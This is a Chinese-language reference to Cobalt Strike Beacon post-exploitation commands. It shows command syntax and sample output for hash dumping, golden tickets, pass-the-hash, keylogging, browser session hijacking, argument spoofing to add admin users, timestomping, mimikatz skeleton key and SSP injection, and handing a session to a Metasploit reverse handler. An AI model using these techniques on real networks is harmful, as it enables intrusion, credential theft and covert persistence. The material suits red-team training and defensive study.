CS有很多可扩展功能 因对此进行记录 这里讲解用法,如果把原理拓展开,会很多

Beacon是异步有效负载。命令不会立即执行。每个命令都进入队列。当Beacon回连时,它将接收这些命令并逐个执行,然后Beacon会将所有的输出显示在Beacon控制台上。如果不小心误输入,可以使用clear命令清除当前Beacon的命令队列(在Beacon还没有回连接收任务前,如果Beacon已经回连接收到了命令那么clear命令是不起作用的)

大纲

Beacon 菜单
interact(交互)即可打开 Beacon 控制台
Access:包含了一些对凭据的操作及提权的选项
Access:包含了一些对凭据的操作及提权的选项
Explore:包含了信息探测与目标交互的选项
Pivoting:包含了一些设置代理隧道的选项
Session:包含了对当前 Beacon 会话管理的选项

Beacon 命令
在beacon端可以使用tab键进行补全
image.png

  1. argue Spoof arguments for matching processes
  2. blockdlls Block non-Microsoft DLLs in child processes
  3. browserpivot Setup a browser pivot session
  4. cancel Cancel a download that's in-progress
  5. cd Change directory
  6. checkin Call home and post data
  7. chromedump Recover credentials from Google Chrome
  8. clear Clear beacon queue
  9. connect Connect to a Beacon peer over TCP
  10. covertvpn Deploy Covert VPN client
  11. cp Copy a file
  12. dcsync Extract a password hash from a DC
  13. desktop View and interact with target's desktop
  14. dllinject Inject a Reflective DLL into a process
  15. dllload Load DLL into a process with LoadLibrary()
  16. download Download a file
  17. downloads Lists file downloads in progress
  18. drives List drives on target
  19. elevate Spawn a session in an elevated context
  20. execute Execute a program on target (no output)
  21. execute-assembly Execute a local .NET program in-memory on target
  22. exit Terminate the beacon session
  23. getprivs Enable system privileges on current token
  24. getsystem Attempt to get SYSTEM
  25. getuid Get User ID
  26. hashdump Dump password hashes
  27. help Help menu
  28. inject Spawn a session in a specific process
  29. inline-execute Run a Beacon Object File in this session
  30. jobkill Kill a long-running post-exploitation task
  31. jobs List long-running post-exploitation tasks
  32. jump Spawn a session on a remote host
  33. kerberos_ccache_use Apply kerberos ticket from cache to this session
  34. kerberos_ticket_purge Purge kerberos tickets from this session
  35. kerberos_ticket_use Apply kerberos ticket to this session
  36. keylogger Start a keystroke logger
  37. kill Kill a process
  38. link Connect to a Beacon peer over a named pipe
  39. logonpasswords Dump credentials and hashes with mimikatz
  40. ls List files
  41. make_token Create a token to pass credentials
  42. mimikatz Runs a mimikatz command
  43. mkdir Make a directory
  44. mode dns Use DNS A as data channel (DNS beacon only)
  45. mode dns-txt Use DNS TXT as data channel (DNS beacon only)
  46. mode dns6 Use DNS AAAA as data channel (DNS beacon only)
  47. mv Move a file
  48. net Network and host enumeration tool
  49. note Assign a note to this Beacon
  50. portscan Scan a network for open services
  51. powerpick Execute a command via Unmanaged PowerShell
  52. powershell Execute a command via powershell.exe
  53. powershell-import Import a powershell script
  54. ppid Set parent PID for spawned post-ex jobs
  55. printscreen Take a single screenshot via PrintScr method
  56. ps Show process list
  57. psinject Execute PowerShell command in specific process
  58. pth Pass-the-hash using Mimikatz
  59. pwd Print current directory
  60. reg Query the registry
  61. remote-exec Run a command on a remote host
  62. rev2self Revert to original token
  63. rm Remove a file or folder
  64. rportfwd Setup a reverse port forward
  65. rportfwd_local Setup a reverse port forward via Cobalt Strike client
  66. run Execute a program on target (returns output)
  67. runas Execute a program as another user
  68. runasadmin Execute a program in an elevated context
  69. runu Execute a program under another PID
  70. screenshot Take a single screenshot
  71. screenwatch Take periodic screenshots of desktop
  72. setenv Set an environment variable
  73. shell Execute a command via cmd.exe
  74. shinject Inject shellcode into a process
  75. shspawn Spawn process and inject shellcode into it
  76. sleep Set beacon sleep time
  77. socks Start SOCKS4a server to relay traffic
  78. socks stop Stop SOCKS4a server
  79. spawn Spawn a session
  80. spawnas Spawn a session as another user
  81. spawnto Set executable to spawn processes into
  82. spawnu Spawn a session under another process
  83. spunnel Spawn and tunnel an agent via rportfwd
  84. spunnel_local Spawn and tunnel an agent via Cobalt Strike client rportfwd
  85. ssh Use SSH to spawn an SSH session on a host
  86. ssh-key Use SSH to spawn an SSH session on a host
  87. steal_token Steal access token from a process
  88. timestomp Apply timestamps from one file to another
  89. unlink Disconnect from parent Beacon
  90. upload Upload a file

help

查看 Beacon 命令的帮助信息。使用 help + 待查看帮助的命令可查看该命令的帮助信息
image.png

shell

通过受害主机的 cmd.exe 执行命令。比如运行ipconfig,就需要输入shell ipconfig
image.png

run

不使用 cmd.exe 执行命令。该命令也是 run + 命令的形式运行,该命令会将执行结果回显

execute

执行命令,但不回显结果
image.png

pwd

查看当前所在目录
image.png

cd

切换当前工作目录。
image.png

sleep

改变 Beacon 的休眠时间。输入 sleep 30表示休眠30秒;输入sleep 60 50表示,随机睡眠 30秒至60秒,其中30秒 = 60 x 50%;如果输入 sleep 0则表示进入交互模式,任何输入的命令都会被立即执行,当输入一些命令,比如desktop时, Beacon 会自动进入交互模式。
image.png

link

通过命名管道正向连接远程(SMB)Beacon

  1. link [ip地址]
  2. 链接到指定IP地址的Beacon会话

unlink

断开与beacon的连接(用于通过TCP、命名管道连接的beacon)

断开与子Beacon的连接

  1. unlink [ip地址]
  2. unlink [ip地址] [pid]
  3. 断开与SMB 命名管道或TCP Beacon的连接
  4. 指定IP地址或IP地址以及会话PID来断开特定Beacon的连接

covertvpn

  1. covertvpn 部署Covert VPN客户端,注:没啥用的功能不做介绍
  2. covertvpn [interface] [ip address]

desktop

远程VNC控制用户桌面

  1. desktop VNC远程桌面
  2. desktop pid [x86|x64] low|high vnc服务dll注入到指定进程中运行
  3. lowhight是图像画质高低
  4. 注:需要确保cs服务端有vnc dll

没有指定dll会报措
image.png
image.png
image.png

clear

清除 Beacon 命令队列。Beacon 是一个异步的 Payload,输入的命令并不会立即执行,而是当 Beacon 连接到团队服务器时再一一执行命令,因此当需要清除队列命令时就可以使用 clear 命令
image.png

ps

查看进程

image.png

kill

  1. kill 结束指定进程
  2. kill [pid]

ls

列出目标文件
image.png

mkdir

创建一个目录

mkdir [文件夹]

cp

复制文件
cp [源文件] [目标文件]

mv

移动文件

  1. mv [源文件] [目标文件]
  2. [源文件] 移动到指定的 [目标文件] 位置

drives

列出所有磁盘盘符
image.png

rm

删除一个文件或者文件夹
image.png
image.png

screenshot

获取屏幕截图,使用screenshot pid来将截屏工具注入到一个 x86 的进程中,使用screenshot pid x64注入到一个 x64 进程中,explorer.exe 是一个好的候选程序

使用screenshot [pid] [x86|x64] [time]来请求截屏工具运行指定的秒数,并在每一次 Beacon 连接到团队服务器的时候报告一张屏幕截图,这是查看用户桌面的一种简便方法。要查看截屏的具体信息,通过View —> Screenshots来浏览从所有 Beacon 会话中获取的截屏

image.png

screenwatch

将屏幕监控工具注入 [pid] 指定的进程
使用不带任何参数的 “screenwatch” 命令可以启动一个临时傀儡进程,并将屏幕监控工具注入其中运行
Screenwatch会定时发送用户桌面的屏幕截图(每次Beacon回连时发送一次),直到监控工具结束
如果用户处于空闲状态,则屏幕监控工具将每三分钟拍摄一次新的屏幕截图

与screenshot功能差不多

keylogger

键盘记录器,使用keylogger pid来注入一个 x86 程序。使用keylogger pid x64来注入一个 x64 程序,explorer.exe 是一个好的候选程序。
使用单独的 keylogger 命令来将键盘记录器注入一个临时程序。键盘记录器会监视从被注入的程序中的键盘记录并将结果报告给 Beacon,直到程序终止或者自己杀死了这个键盘记录后渗透任务。要查看键盘记录的结果,可以到View —> Keystrokes中进行查看

具体注入那个程序都是可以的,只是注入 explorer.exe 会比较稳定与持久。值得注意的是,多个键盘记录器可能相互冲突,每个桌面会话只应使用一个键盘记录器

image.png

jobs

查看当前 Beacon 中的任务
image.png

jobkill

加上任务 ID,对指定任务进行停止
image.png

powershell

通过powershell.exe执行命令

通过受害主机的 PowerShell 执行命令。比如想在 PowerShell 下运行 get-process,就需要输入powershell get-process
image.png

image.png

powerpick

不使用 powershell.exe 执行 powershell 命令。这个命令依赖于由 Lee Christensen 开发的非托管 PowerShell 技术。powershell 和 powerpick 命令会使用当前令牌( token )

非托管powershell技术就是不使用powershell.exe程序来执行powershell命令

image.png

psinject

将非托管的 PowerShell 注入到一个特定的进程中并从此位置运行命令。

在指定进程中执行PowerShell命令
image.png

powershell-import

导入 PowerShell 脚本到 Beacon 中。直接运行 powershell-import + 脚本文件路径即可,但是这个脚本导入命令一次仅能保留一个 PowerShell 脚本,再导入一个新脚本的时候,上一个脚本就被覆盖了,因此可以通过导入一个空文件来清空 Beacon 中导入的脚本

  1. beacon> powershell-import PowerUp.ps1
  2. beacon> powershell invoke-allchecks

blockdlls

blockdlls是在Cobalt Strike的3.14版本中出现的,用于保护派生的子进程不受第三方DLL的干扰
image.png
如果一个没有被微软签名的DLL试图加载到进程中,就会报错

  1. blockdlls 阻止子进程加载非微软签名的dll
  2. blockdlls [start|stop]
  3. blockdlls start 启动此策略
  4. blockdlls stop 关闭此策略
  5. 启动此策略后创建的子进程加载非微软签名的dll时会被阻止
  6. 注:此特性是windows10自身特性,需要目标为windows10才能成功启用

execute-assembly

内存执行dotnet程序,不过有1M体积限制

  1. execute-assembly 内存加载执行.NET程序集
  2. execute-assembly .netpath [arguments]
  3. 注:就是普通的内存加载执行.net程序

setenv

设置一个环境变量

exit

关闭退出beacon
image.png

hashdump

获取密码hash
image.png

黄金票据 Golden Ticket 是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动

使用 mimikatz 伪造黄金票据需要: 1、目标的用户名及域名 2、域的 SID 值 域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字。

  1. beacon> shell whoami /user
  2. [*] Tasked beacon to run: whoami /user
  3. [+] host called home, sent: 43 bytes
  4. [+] received output:
  5. 用户信息
  6. ----------------
  7. 用户名 SID
  8. ============= ============================================
  9. teamssix\daniel S-1-5-21-5311978431-183514165-284342044-1000
  1. 因为不需要 SID 最后一组数字,所以这里要使用的 SID 也就是 S-1-5-21-5311978431-183514165-284342044

3、DC 中 KRBTGT 用户的 NTLM 哈希 DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行。

  1. beacon> hashdump
  2. [*] Tasked beacon to dump hashes
  3. [+] host called home, sent: 82501 bytes
  4. [+] received password hashes:
  5. Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
  6. Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
  7. krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::
  8. daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::

Cobalt Strike 在 Access -> Golden Ticket 中可以打开生成黄金票据的界面。 image.png 信息填完之后,选择 Build,需要注意 Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于 teamssix.com 的格式。 此时可以通过 shell dir \host\C$ 检查自己是否有权限,也可以使用 PowerShell 运行 whoami 查看自己是谁。

  1. beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
  2. [*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
  3. [+] host called home, sent: 203 bytes
  4. [+] received output:
  5. teamssix\administrator

logonpasswords

使用mimikatz转储明文凭证和NTLM哈希值

在View —> Credentials下可以查看到hashdump与mimikatz获取的数据

image.png

dcsync

  1. dcsync 从域控中提取密码哈希
  2. dcsync [DOMAIN.FQDN] 提取所有帐户的密码哈希
  3. dcsync [域.fqdn] <域\用户名>
  4. dcsync [DOMAIN.FQDN] [DOMAIN\user] 特定用户的
  5. 使用mimikatz从域控制器中提取所有域用户的NTLM哈希,指定一个用户可以仅获取其NTLM哈希
  6. 此命令需要域管理员信任关系

chromedump

使用Mimikatz从Google Chrome提取保存的账号密码和Cookies等凭证信息,该命令需要在用户权限下使用
image.png

可能能秒解80版本之前的

browserpivot

注入浏览器进程代理用户已认证身份(仅支持IE)

浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。可通过截图判断当前用户是否使用IE浏览器
找到目前正在使用IE浏览器的目标后,右击该会话,选择Explore —> Browser Pivot,随后选择要注入的进程,CS 会在它认为可以注入的进程右边显示一个对勾,设置好端口后,点击运行即可
此时,在浏览器中配置代理,代理配置为http代理,IP为CS团队服务器IP,端口为刚设置的端口。
代理配置好后,在浏览器中打开目标当前正在打开的网址,即可绕过登录界面

  1. 浏览器代理
  2. browserpivot [pid] [x86|x64]
  3. browserpivot [stop]

note

给当前会话添加备注信息
image.png
image.png

checkin

  1. 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver

connect

通过TCP正向连接远程Beacon

  1. connect [target] [port]

spawn

创建一个新Beacon会话

进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。

image.png

会话传递使用场景 将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可。 或者传递给msf

  1. msf5 > use exploit/multi/handler
  2. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
  3. msf5 exploit(multi/handler) > set lhost 192.168.175.156
  4. msf5 exploit(multi/handler) > set lport 443
  5. msf5 exploit(multi/handler) > exploit -j
  6. CS中新建一个外部Foreign监听器,这里设置的监听IP与端口和MSF中的一致即可,随后在CS中利用spawn选择刚新建的外部监听器,MSF中即可返回会话

spawnas

以另一个用户身份创建一个新Beacon会话

使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程

  1. spawnas 以其他用户身份派生会话
  2. spawnas [DOMAIN\user] [password] [listener]

runas

使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出

  1. runas 以其他用户权限执行程序
  2. runas [DOMAIN\user] [password] [command] [arguments]
  3. 注:相当于windowsrunas命令

runu

以另一个进程PID作为父进程PID,并以其用户身份执行程序

与ppid差不多,runu使用指定进程作为父进程来执行命令

  1. runu [pid] [命令] [参数]
  2. 尝试以指定 [pid] 为父程序来执行 [命令]。该 [命令] 将以指定的 [pid] 进程的用户身份运行

shinject

使用shinject [pid] [架构] [/路径/…/file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。
CS-beacon多功能记录 - 图34

spawnto

设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)

该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为。
image.png

  1. spawnto 设置Beacon派生会话时使用的程序
  2. spawnto [x86|x64] [程序路径]
  3. 注:此命令用来更改Beacon默认派生会话时使用的程序,比如
  4. spawnto x64 C:\Windows\System32\notepad.exe
  5. 在派生一个新的x64会话时就会启动一个notepad进程来作为傀儡
  6. 直接输入spawnto回车代表清除设置使用默认配置

spawnu

  1. spawnu 在指定进程中派生会话
  2. spawnu [pid] [listener]

inject

输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中。

spawn和inject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。

dllinject

dllinject + [pid]来将一个反射性 DLL 注入到一个进程中。

  1. dllinject 反射dll进程注入
  2. dllinject pid dllpath
  3. 注:路径为本机路径

shspawn

使用shspawn [架构] [/路径/…/file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中。

创建傀儡进程并注入shellcode到其中运行

dllload

使用dllload [pid] [c:\路径...\file.dll]来在另一个进程中加载磁盘上的 DLL文件。

  1. dllload 使用LoadLibrary函数进行dll注入
  2. dllload pid dllpath
  3. 注:LoadLibrary函数 dll注入,目标机上必须存在被注入的dll

getuid

获取用户的ID
image.png

argue

参数欺骗
一般用于拦截某个指令的时候
比如添加用户

  1. argue 命令 假参数 --欺骗某个命令参数
  2. argue --查看污染的参数
  3. aruge 命令 --取消欺骗某个命令参数
  1. #用污染的net1执行敏感操作
  2. execute net1 user test root123 /add
  3. execute net1 localgroup administrators test /add

image.png
image.png

portscan

进行端口扫描,使用参数为:portscan [targets] [ports] [discovery method]。
目标发现discovery method有三种方法,分别是:arp、icmp、none,arp方法使用 ARP 请求来发现一个主机是否存活。icmp方法发送一个 ICMP echo 请求来检查一个目标是否存活。none选项让端口扫描工具假设所有的主机都是存活的。
端口扫描会在 Beacon 和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果,它会把结果发送到 Beacon 控制台。Cobalt Strike 会处理这个信息并使用发现的主机更新目标模型。
右击 Beacon会话,在Explore —> Port Scan中即可打开端口扫描的图形窗口,CS会自动填充扫描地址,确认扫描地址、端口、扫描方式等无误后,开始扫描即可。扫描结束后,在 target table页面中可看到扫描结果,右击会话,选择 Services 可查看详细的扫描结果。

net

网络和主机探测工具(内置net命令)
image.png

PPID

使用指定的PID作为父进程启动Beacon会话。runas命令不受影响,但其他大多数命令都受影响。
不要指定父PID为另一个桌面会话中的进程。这可能会破坏Beacon的一些功能和工作流程
如果需要以另一个桌面会话进程作为父进程运行命令,请使用runu命令

  1. ppid 父进程欺骗
  2. ppid [pid] 将指定进程作为父进程
  3. ppid 直接执行ppid取消父进程欺骗
  4. 注:父进程欺骗顾名思义就是伪造子进程的父进程为指定进程。
  5. 这个听起来有点绕其实以前对抗过某杀软的应该都知道过父都是为了达到同一个目的

getsystem

将本地高级管理员权限提升至系统权限

尝试模拟一个SYSTEM账号的令牌获取System权限

elevate

利用提权漏洞获取一个高权限Beacon

提权并生成一个高权限会话
elevate [exploit] [listener]

如bypass uac
首先使用shell whoami /groups查看当前上线主机用户的所属组及 UAC 等级
image.png
以使用bypassuac进行提权。
首先,右击会话,选择Access —> Elevate,这里选择一个 SMB Beacon,Exploit 选择uac-token-duplication,最后 Launch 即可。
image.png
待 Beacon Check in 后,当前用户 UAC 为高权限的会话便会上线了。

runasadmin

  1. runasadmin 提权后执行命令
  2. runasadmin [exploit] [command] [args]
  3. 注:与前面的elevate命令相似只不过变成了提权执行命令

getprivs

启用当前访问令牌所拥有的特权
image.png

  1. 可以通过shell whoami /all查看详细信息

steal_token

从指定进程中窃取访问令牌(access token)

  • 使用 ps 列出进程
  • 使用 steal_token [pid] 窃取令牌
  • 使用 getuid 找到你是谁
  • 使用 rev2self 移除令牌

inline-execute

在内存中执行bof文件

  1. inline-execute Beacon会话中执行Beacon Object File (BOF)
  2. inline-execute [/path/to/file.o] [args]

jump

在远程机器上植入Beacon(横向移动)

  1. jump 在远程主机上执行payload生成一个会话
  2. jump [exploit] [target] [listener]
  3. 此命令通过横向渗透在目标上执行payload生成会话(psexec winrm)

pth

使用Mimikatz执行Pass-the-hash

  1. pth [域\用户名] [NTLM哈希]
  2. 使用mimikatz生成并模拟一个访问令牌,该令牌使用指定的域、用户和NTLM哈希作为单点登录凭据
  3. 当需要与网络资源进行交互时,Beacon将传递此哈希
  4. beacon> pth TEAMSSIX\Administrator 12cb161bvca930994x00cbc0aczf06d1
  5. [+] host called home, sent: 23 bytes
  6. [*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /ntlm:12cb161bvca930994x00cbc0aczf06d1 /run:"%COMSPEC% /c echo ade660d8dce > \\.\pipe\8d3e4c" command
  7. [+] host called home, sent: 750600 bytes
  8. [+] host called home, sent: 71 bytes
  9. [+] Impersonated NT AUTHORITY\SYSTEM
  10. [+] received output:
  11. user : Administrator
  12. domain : TEAMSSIX
  13. program : C:\Windows\system32\cmd.exe /c echo ade660d8dce > \\.\pipe\8d3e4c
  14. impers. : no
  15. NTLM : 12cb161bvca930994x00cbc0aczf06d1
  16. | PID 2992
  17. | TID 5028
  18. | LSA Process is now R/W
  19. | LUID 0 ; 14812112 (00000000:00e203d0)
  20. \_ msv1_0 - data copy @ 0000000001794E80 : OK !
  21. \_ kerberos - data copy @ 000000000044A188
  22. \_ aes256_hmac -> null
  23. \_ aes128_hmac -> null
  24. \_ rc4_hmac_nt OK
  25. \_ rc4_hmac_old OK
  26. \_ rc4_md4 OK
  27. \_ rc4_hmac_nt_exp OK
  28. \_ rc4_hmac_old_exp OK
  29. \_ *Password replace @ 00000000017DA1E8 (16) -> null
  30. beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
  31. [*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
  32. [+] host called home, sent: 231 bytes
  33. [+] received output:
  34. teamssix\administrator

make_token

创建进程访问令牌(access token),仅用于访问网络资源

  1. make_token username pass
  2. beacon> make_token TEAMSSIX\administrator Test111!
  3. [*] Tasked beacon to create a token for TEAMSSIX\administrator
  4. [+] host called home, sent: 53 bytes
  5. [+] Impersonated NT AUTHORITY\SYSTEM
  6. beacon> shell dir \\WIN-P2AASSD1AF1\C$
  7. [*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
  8. [+] host called home, sent: 55 bytes
  9. [+] received output:
  10. 驱动器 \\WIN-P2AASSD1AF1\C$ 中的卷没有标签。
  11. 卷的序列号是 F269-89A7
  12. \\WIN-P2AASSD1AF1\C$ 的目录
  13. 2020/07/16 21:24 <DIR> Program Files
  14. 2020/07/16 21:52 <DIR> Program Files (x86)
  15. 2020/07/17 23:00 <DIR> Users
  16. 2020/07/26 00:55 <DIR> Windows
  17. 0 个文件 0 字节
  18. 4 个目录 28,493,299,712 可用字节
  19. beacon> powershell Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
  20. [*] Tasked beacon to run: Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
  21. [+] host called home, sent: 231 bytes
  22. [+] received output:
  23. teamssix\administrator
  24. 当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的 SYSTEM 权限

download

下载请求的文件。Beacon 会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于 Beacon 当前的数据通道。HTTP 和 HTTPS 通道会拉取 512kb 的数据块

  1. download [file]

下载文件都将下载到CS团队服务器中,在View —> Download下可看到下载文件的记录,选中文件后使用Sync Files即可将文件下载到本地

downloads

查看当前 Beacon 正在进行的文件下载列表

cancel

该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。

  1. cancel [*文件名*]
  2. 取消当前正在进行的文件下载,文件名支持使用通配符

upload

上传一个文件到目标主机上

  1. 上传一个文件到目标主机上

timestomp

复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)

将一个文件的修改属性访问属性和创建时间数据与另一个文件相匹配。当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。

  1. timestomp [文件A] [文件B]

ssh

  1. ssh 使用ssh密码远程连接
  2. ssh [target:port] [user] [pass]
  3. 注:通过Beacon内置的ssh客户端实现

ssh-key

  1. ssh-key 使用SSH密钥远程连接
  2. ssh [target:port] [user] [/path/to/key.pem]

查看有哪些 Kerberos 票据

  1. shell klist

清空当前会话中的所有kerberos票据

  1. kerberos_ticket_purge

清空当前会话中的所有kerberos票据

  1. kerberos_ticket_use [/path/to/file.ticket]

清空当前会话中的所有kerberos票据

  1. kerberos_ccache_use [/本地绝对路径/file.ccache]

在 Beacon 中集成了 mimikatz ,mimikatz 执行命令有三种形式:

  • mimikatz [module::command] 运行 mimikatz 命令
  • mimikatz [!module::command] 强制提升到 SYSTEM 权限再运行命令,因为一些命令只有在 SYSTEM 身份下才能被运行。
  • mimikatz [@module::command] 使用当前 Beacon 的访问令牌运行 mimikatz 命令

注:有些mimikatz命令需要system权限才能运行
!代表强制将mimikatz提升到SYSTEM,然后再运行命令
有些则需要使用Beacon当前访问令牌运行
@代表强制mimikatz使用Beacon当前访问令牌运行命令

  1. !lsadump::cache
  2. 获取缓存凭证,默认情况下 Windows 会缓存最近10个密码哈希
  3. !lsadump::sam
  4. 获取本地账户密码哈希,该命令与 hashdump 比较类似
  5. misc::cmd
  6. 如果注册表中禁用了 CMD ,就重新启用它
  7. !misc::memssp
  8. 注入恶意的 Windows SSP 来记录本地身份验证凭据,这个凭证存储在“C:\windows\system32\mimilsa.log”中
  9. misc::skeleton
  10. 该命令仅限域内使用。该命令会给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。
  11. process::suspend [pid]
  12. 挂起某个进程,但是不结束它
  13. process::resume [pid]
  14. 恢复挂起的进程

image.png